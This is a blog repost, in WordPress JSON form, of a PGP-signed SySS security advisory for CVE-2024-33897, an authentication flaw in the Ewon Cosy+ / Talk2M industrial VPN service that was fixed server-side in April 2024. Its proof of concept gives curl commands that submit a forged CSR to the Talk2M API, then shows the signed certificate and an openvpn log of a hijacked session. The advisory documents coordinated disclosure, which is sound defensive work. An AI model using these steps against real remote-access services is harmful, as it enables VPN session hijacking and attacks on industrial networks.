{"id":58979,"date":"2024-08-19T19:29:50","date_gmt":"2024-08-19T16:29:50","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180237\/SYSS-2024-043.txt"},"modified":"2024-08-19T19:29:50","modified_gmt":"2024-08-19T16:29:50","slug":"ewon-cosy-talk2m-remote-access-solution-improper-authentication","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ewon-cosy-talk2m-remote-access-solution-improper-authentication\/","title":{"rendered":"Ewon Cosy+ \/ Talk2M Remote Access Solution Improper Authentication"},"content":{"rendered":"<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;<br \/>Hash: SHA512<\/p>\n<p>Advisory ID: SYSS-2024-043<br \/>Product: Ewon Cosy+ \/ Talk2M Remote Access Solution<br \/>Manufacturer: HMS Industrial Networks AB<br \/>Affected Version(s): N.A.<br \/>Tested Version(s): N.A.<br \/>Vulnerability Type: Improper Authentication (CWE-287)<br \/>Risk Level: High<br \/>Solution Status: Fixed<br \/>Manufacturer Notification: 2024-04-17<br \/>Solution Date: 2024-04-18<br \/>Public Disclosure: 2024-08-11<br \/>CVE Reference: CVE-2024-33897<br \/>Author of Advisory: Moritz Abrell, SySS GmbH<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Overview:<\/p>\n<p>The Ewon Cosy+ is a VPN gateway used for remote access and maintenance<br \/>in industrial environments.<\/p>\n<p>The manufacturer describes the product as follows (see [1]):<\/p>\n<p>&#8220;The Ewon Cosy+ gateway establishes a secure VPN connection between<br \/>the machine (PLC, HMI, or other devices) and the remote engineer.<br \/>The connection happens through Talk2m, a highly secured industrial<br \/>cloud service. The Ewon Cosy+ makes industrial remote access easy<br \/>and secure like never before!&#8221;<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Vulnerability Details:<\/p>\n<p>During account assignment in the Talk2M platform, a Cosy+ device<br \/>generates and sends a certificate signing request (CSR) to the back end.<br \/>This CSR is then signed by the manufacturer and used for OpenVPN<br \/>authentication by the device afterward.<\/p>\n<p>Since the common name (CN) of the certificate is specified by the device<br \/>and used in order to assign the OpenVPN session to the corresponding<br \/>Talk2M account, an attacker with root access to a Cosy+ device is able<br \/>to manipulate the CSR and get correctly signed certificates for foreign<br \/>devices.<\/p>\n<p>Using these certificates for OpenVPN authentication results in hijacking<br \/>the VPN session and allows for further attacks, e.g.:<\/p>\n<p>&#8211; &#8211; Impacting the accessibility of the original device<br \/>&#8211; &#8211; Attacking the Talk2M-connected user device via the VPN connection<br \/>&#8211; &#8211; Eavesdropping and manipulating the network communication of connected<br \/>users<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Proof of Concept (PoC):<\/p>\n<p>Note: Since the X.509 client certificate of a Cosy+, which is used for<br \/>authentication against the Talk2M API, is handled by the hardware<br \/>security module (HSM), root access to a Cosy+ device is required.<\/p>\n<p>1. Exporting the OpenSSL engine to use the hardware security module:<\/p>\n<p>$ export OPENSSL_CONF=\/etc\/ssl\/se050_openssl.cnf<br \/>$ export EX_SSS_BOOT_SSS_PORT=\/dev\/i2c-0<\/p>\n<p>2. Sending a self-created CSR to the Talk2M API:<\/p>\n<p>$ curl &#8211;path-as-is -i -s -k -X $&#8217;POST&#8217; \\<br \/>-H $&#8217;Host: eu.device.talk2m.com&#8217; -H $&#8217;Accept: application\/json&#8217; \\<br \/>-H $&#8217;Content-Type: application\/json&#8217; -H $&#8217;Ewon-Serial: 2403-0999-25&#8242; \\<br \/>-H $&#8217;Device-State: AccountLinked&#8217; -H $&#8217;Content-Length: 768&#8242; \\<br \/>&#8211;data-binary $'{\\x0a\\x09\\&#8221;csr\\&#8221;:<br \/>\\x09\\&#8221;&#8212;&#8211;BEGIN CERTIFICATE REQUEST&#8212;&#8211;\\\\nMIIB6zCCAUwCAQAwgaY<br \/>xCzAJBgNVBAYTAkJFMRcwFQYDVQQIEw5CcmFiYW50IFdh\\\\nbGxvbjERMA8GA1U<br \/>EBxMITml2ZWxsZXMxIzAhBgNVBAoTGkhNUyBJbmR1c3RyaWFs\\\\nIE5ldHdvcmt<br \/>zIFNBMRAwDgYDVQQLEwdFd29uIEJVMRYwFAYDVQQDEw1EMjMwNy0w\\\\nMTAxLTI<br \/>1MRwwGgYJKoZIhvcNAQkBFg1pbmZvQGV3b24uYml6MIGbMBAGByqGSM49\\\\nAgE<br \/>GBSuBBAAjA4GGAAQBaUGPo1FIjOOqyd1M47M2fcLQ2MN3aj7wI8pBYmopdSEY\\\\<br \/>nKszktBPre3AZ74E4326+vUej6nBG\/17SWNb+VZPEyXYBAvEyyvsXfy\/UlnB6NX<br \/>aj\\\\n6rrmy2pqP5bKN\/1yR3reqlA6+9rdYzcH3ESJvp9hTkZnV4qbdNjTtqSfZO<br \/>4zu1Zn\\\\nE+CgADAKBggqhkjOPQQDAgOBjAAwgYgCQgDVbJN5MJJZnkRRvNwwXu<br \/>6GrvILBN6H\\\\nxTwR3inwMxLf+a\/o+SFiqq5Pvsm2UXebVSD3osopdnJ8cxzTzi<br \/>PopsLiXAJCAa5K\\\\n+0T0H8VAvBzKTQkpiHHzW9JkDvIDaJA4WtYzA+KT7jo4kW<br \/>vQIr7rBBOlILoofQzv\\\\nypCqHaugjHhdeuJecIiq\\\\n&#8212;&#8211;END CERTIFICAT<br \/>E REQUEST&#8212;&#8211;\\\\n\\&#8221;\\x0a}&#8217; \\<br \/>$&#8217;https:\/\/eu.device.talk2m.com\/certificates\/csr&#8217; \\<br \/>&#8211;cert \/tmp\/birth_key_crt.pem &#8211;key \/tmp\/birth_key_ref.pem<\/p>\n<p>3. Requesting the signed certificate:<\/p>\n<p>$ curl -i -k -H $&#8217;Device-State: AccountLinked&#8217; \\<br \/>https:\/\/device.talk2m.com\/certificates\/deviceCertificate \\<br \/>&#8211;cert birth_key_crt.pem &#8211;key birth_key_ref.pem<\/p>\n<p>4. Talk2M response:<\/p>\n<p>HTTP\/1.1 200<br \/>date: Tue, 16 Apr 2024 13:09:57 GMT<br \/>server: Apache<br \/>ewon-server-time: 1713272998<br \/>device-state: VpnProvisioned<br \/>content-type: application\/json<br \/>transfer-encoding: chunked<\/p>\n<p>{&#8220;certificate&#8221;:&#8221;&#8212;&#8211;BEGIN CERTIFICATE&#8212;&#8211;\\nMIIDTjCCAjagAwIBA[&#8230;]KsxyR8w==\\n&#8212;&#8211;END CERTIFICATE&#8212;&#8211;&#8220;}<\/p>\n<p>5. This signed certificate and the used key can be used for OpenVPN<br \/>authentication. The CN will be used to assign the session to the<br \/>corresponding Talk2M account. This also overwrites a potential<br \/>current VPN session of the original device:<\/p>\n<p>$ openvpn &#8211;config attacker.ovpn<br \/>Attempting to establish TCP connection with [AF_INET]51.195.79.69:443<br \/>TCP connection established with [AF_INET]51.195.79.69:443<br \/>TCPv4_CLIENT link remote: [AF_INET]51.195.79.69:443<br \/>VERIFY OK: depth=1, C=BE, ST=Brabant Wallon, L=Nivelles, O=eWON sa,<br \/>OU=Talk2M, CN=Talk2M Certification Authority,<br \/>emailAddress=itmanager@talk2m.com<br \/>VERIFY KU OK<br \/>Validating certificate extended key usage<br \/>++ Certificate has EKU (str) TLS Web Server Authentication,<br \/>expects TLS Web Server Authentication<br \/>VERIFY EKU OK<br \/>VERIFY OK: depth=0, C=BE, ST=Brabant Wallon, L=Nivelles,<br \/>O=HMS Industrial Networks SA, OU=Talk2M, CN=server-device,<br \/>emailAddress=info@ewon.biz<br \/>Control Channel: TLSv1.2, cipher TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384,<br \/>peer certificate: 2048 bit RSA, signature: RSA-SHA1<br \/>[server-device] Peer Connection Initiated with [AF_INET]51.195.79.69:443<br \/>TUN\/TAP device tap0 opened<br \/>net_addr_ll_set: lladdr 00:03:27:d8:68:84 for tap0<br \/>TUN\/TAP link layer address set to 00:03:27:d8:68:84<br \/>net_iface_mtu_set: mtu 1500 for tap0<br \/>net_iface_up: set tap0 up<br \/>net_addr_v4_add: 10.37.211.214\/16 dev tap0<br \/>Data Channel: cipher &#8216;AES-256-GCM&#8217;, peer-id: 0, compression: &#8216;lzo&#8217;<br \/>Timers: ping 10, ping-exit 40<br \/>Initialization Sequence Completed<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Solution:<\/p>\n<p>The vulnerability was fixed in the back end by HMS on April 18, 2024.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclosure Timeline:<\/p>\n<p>2024-04-09: Potential vulnerability discovered<br \/>2024-04-16: Call with the manufacturer and requested a Talk2M account<br \/>with an assigned device to verify the potential vulnerability<br \/>2024-04-16: Manufacturer provided a Talk2M account with an assigned device<br \/>2024-04-16: Vulnerability confirmed<br \/>2024-04-16: Short update about the state sent to the manufacturer<br \/>2024-04-16: Security advisory inculding technical details provided to<br \/>the manufacturer<br \/>2024-04-18: Vulnerability fixed by the manufacturer<br \/>2024-04-30: CVE ID CVE-2024-33897[5] assigned by the manufacturer<br \/>2024-07-12: Manufacturer asked for reviewing the blog post draft<br \/>2024-07-12: Confirmed reviewing the blog post is possible and asking for<br \/>the sending of details<br \/>2024-07-17: Blog post provided to HMS<br \/>2024-07-23: Inquiry about the status<br \/>2024-07-23: Manufacturer reviewed the blog post<br \/>2024-07-24: Manufacturer also asked for an appointment to discuss the blog post<br \/>2024-07-29: Discussion with HMS about the blog post and final publication<br \/>actions<br \/>2024-08-11: Vulnerability disclosed at DEF CON[7]2024-08-11: Blog post published[6]\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>References:<\/p>\n[1] Ewon Cosy+ product website<br \/>https:\/\/www.hms-networks.com\/p\/ec71330-00ma-ewon-cosy-ethernet<br \/>[2] SySS Security Advisory SYSS-2024-043<br \/>https:\/\/www.syss.de\/fileadmin\/dokumente\/Publikationen\/Advisories\/SYSS-2024-043.txt<br \/>[3] SySS Responsible Disclosure Policy<br \/>https:\/\/www.syss.de\/en\/responsible-disclosure-policy<br \/>[4] Manufacturer note<br \/>https:\/\/hmsnetworks.blob.core.windows.net\/nlw\/docs\/default-source\/products\/cybersecurity\/security-advisory\/hms-security-advisory-2024-07-29-001&#8211;ewon-several-cosy&#8211;vulnerabilities.pdf<br \/>[5] CVE-2024-33897<br \/>https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2024-33897<br \/>[6] Blog post<br \/>https:\/\/blog.syss.com\/posts\/hacking-a-secure-industrial-remote-access-gateway\/<br \/>[7] DEF CON talk<br \/>https:\/\/defcon.org\/html\/defcon-32\/dc-32-speakers.html#54521<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Credits:<\/p>\n<p>This security vulnerability was found by Moritz Abrell of SySS GmbH.<\/p>\n<p>E-Mail:moritz.abrell@syss.de<br \/>Public Key:https:\/\/www.syss.de\/fileadmin\/dokumente\/PGPKeys\/Moritz_Abrell.asc<br \/>Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclaimer:<\/p>\n<p>The information provided in this security advisory is provided &#8220;as is&#8221;<br \/>and without warranty of any kind. Details of this security advisory may<br \/>be updated in order to provide as accurate information as possible. The<br \/>latest version of this security advisory is available on the SySS website.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Copyright:<\/p>\n<p>Creative Commons &#8211; Attribution (by) &#8211; Version 3.0<br \/>URL:http:\/\/creativecommons.org\/licenses\/by\/3.0\/deed.en<br \/>&#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;<\/p>\n<p>iQIzBAEBCgAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmay47wACgkQrgyb+PE0<br \/>i1O5RQ\/9HM9YIPRLVqGSRNPYW45F9e1wj9uHTvt78XjRng5lbRPpgWAO1G6UVQvS<br \/>ebugxzjAtGrdMxx8X1NHd9vbshyAHj\/q33Y0fkQ5TB2hnSMkn2nbXTEZKIIS6wK0<br \/>XnJhB31iVnkgMeNFQ0SwSutBnnxJ7mvQ6vUBG210DSHjpQtu8rWuCyrf3BcSCJ\/I<br \/>nT79b7TJOxOMD1y5VAeVP6Pehh+IlJgvSItXZyOjs4wgt\/+z+wVoKnYdqSAHpovI<br \/>\/rjVbtp7cvIhQInghnDoRWfXce34bk07geOB4VGg7bhxGCeWbJZq\/Dxrag5jJb9l<br \/>0zx2K4M8ZTwFcrtAliFgyzrIgvjfOk9HCZasSMl20znj4+3QaAWpfn2oMmCQCaLg<br \/>6hBqAQ+s66Cv8Br24WKdlnj3nrsn+SAX2TKDxajt+WiDkXKvsLPs8XCmzVN8jViK<br \/>nN\/dJ3chba4yhqmpft1wRXG71VvBdbv3pkLp7usKszUrul8M802JzF2aGTUsiKgQ<br \/>QSxpNhSP4aC2jqjt1OpX7W6NKD1nIhg0VrduxlwlAcQ2uffbh8xtak1MgZry0\/yP<br \/>6j9a15DOTJshMeud8R3Bkfjms\/0Jzm43uyjIeRGNP79UyohsTX4jOJAsUYr0efUZ<br \/>\/55N3HiCD94jYoee5E3sF1vWlrhVDzkWJ7Q8u\/W4osSIwMNikTc=<br \/>=JS3w<br \/>&#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;Hash: SHA512 Advisory ID: SYSS-2024-043Product: Ewon Cosy+ \/ Talk2M Remote Access SolutionManufacturer: HMS Industrial Networks ABAffected Version(s): N.A.Tested Version(s): N.A.Vulnerability Type: Improper Authentication (CWE-287)Risk Level: HighSolution Status: FixedManufacturer Notification: 2024-04-17Solution Date: 2024-04-18Public Disclosure: 2024-08-11CVE Reference: CVE-2024-33897Author of Advisory: Moritz Abrell, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The Ewon Cosy+ is a VPN gateway used &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58979","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58979","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58979"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58979\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58979"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58979"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58979"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}